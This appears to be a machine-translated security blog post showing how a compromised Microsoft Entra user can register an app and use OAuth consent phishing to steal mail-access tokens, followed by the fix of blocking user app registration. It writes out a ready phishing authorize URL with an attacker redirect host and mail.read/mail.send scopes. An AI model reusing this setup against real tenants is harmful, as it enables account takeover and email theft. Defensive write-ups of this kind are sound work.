Should standard users in your tenant be allowed to complete an Azure App Registration? The answer is clearly “no” and this article clearly shows why. Otherwise, a single compromised standard account is enough for attackers to enormously increase their rights and gain access to personal emails. We first present a realistic one Attack scenario via the Azure App Registration and then explain which one simple measure you can protect yourself from it.
If you would like to first find out more about Microsoft Entra (formerly Azure AD), you can find all the basics in our basics article What is Microsoft Entra (formerly Azure) with lots of clear screenshots. You can find further articles on attacks and protection options here:
Next, we perform an Azure App Registration in the tenant (the name of the app appears in the phishing during the request for permissions from the victim).
For Azure App Registration, we select the “Accounts in any organizational directory” option.
Then we create a redirect URI. As an attacker, we provide an oAuth server under this URL.
After Azure App Registration, we make the following settings to the app:
Under “Certificates & Secrets” we generate a secret client key.
Now we have to go to “API permissions”. necessary Set permissions for “Microsoft Graph”:
An example configuration could look like this:
Finally, under “Authentication” we need to set the “Allow public client flows” rule to “Yes” in order to be able to run the delegated permissions on an external oAuth server:
After setting up the app, we create a phishing link with the following parameters:
'https://login.microsoftonline.com/common/oauth2/v2.0/authorize?'
- 'client_id=<App-ID aus “Übersicht”> &'
- 'response_type=code &'
- 'redirect_uri=<URL des oAuth-Servers> &'
- 'response_mode=query &'
- 'scope=<Notwendige App-Berechtigungen> &'
- 'stat=12345'
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=96d16e72-3484-4aac-8377-12799fe0c9d8&response_type=code&redirect_uri=https://app.secure-handler.de&response_mode=query&scope=email%20mail.read%20mail.send%20openid%20profile%20user.read%20user.readbasic.all&stat=12345
The reason for creating the phishing link is that the link created does not look like a “suspicious” URL. Our victim thus sees a regular and legitimate Microsoft login and can log in to Microsoft with his valid access data.
We can then send the phishing link by email.
Once a victim falls into the trap, they will see this message asking them to accept the permissions:
When a victim accepts the permissions and logs in, a redirect follows to the oAuth server we provide. This is where the access token is intercepted.
Finally, we can use the intercepted access token to authenticate ourselves in our victim's user context with the app's delegated permissions.
Possible permissions for a realistic attack scenario would be:
In summary, through the attack scenario presented here, we used the previously compromised account of a normal tenant user to obtain numerous additional permissions and information. For this we used Azure App Registration, which is freely available to all users in the standard settings.
In the following section we will show you how you can prevent such an attack in 3 simple steps.
It is advisable to allow only one administrator to register self-developed applications. This ensures that these applications undergo a formal security review and approval process before being granted access to Azure Active Directory data.
In certain cases, it may make sense to grant permissions to specific users, such as developers or other users with high requirements, to avoid long wait times for an administrative user. It is important to review policies and determine specific needs to ensure appropriate access control.
Therefore, we recommend prohibiting regular users from registering apps. This can be set in the Azure portal in the following 3 steps:
In our realistic attack scenario we have shown why Azure App Registration should be reserved for the administrator of a tenant. Otherwise, attackers can enormously increase their rights via a single compromised account in just a few steps.
Attackers achieve this by using the compromised account Register app with specific settings, a Phishing link create and send it to potential further victims. If users agree to the set permissions via this link and enter their access data, the attackers will catch them oAuth server away. This allows them, for example, to send emails on behalf of the victims or enumerate all other users of the tenant.
To prevent such an attack, all it takes is a few clicks in the Microsoft Entra Admin Center: Simply set the default to not allow users to register their own applications. Exceptions can be useful for developers, for example.
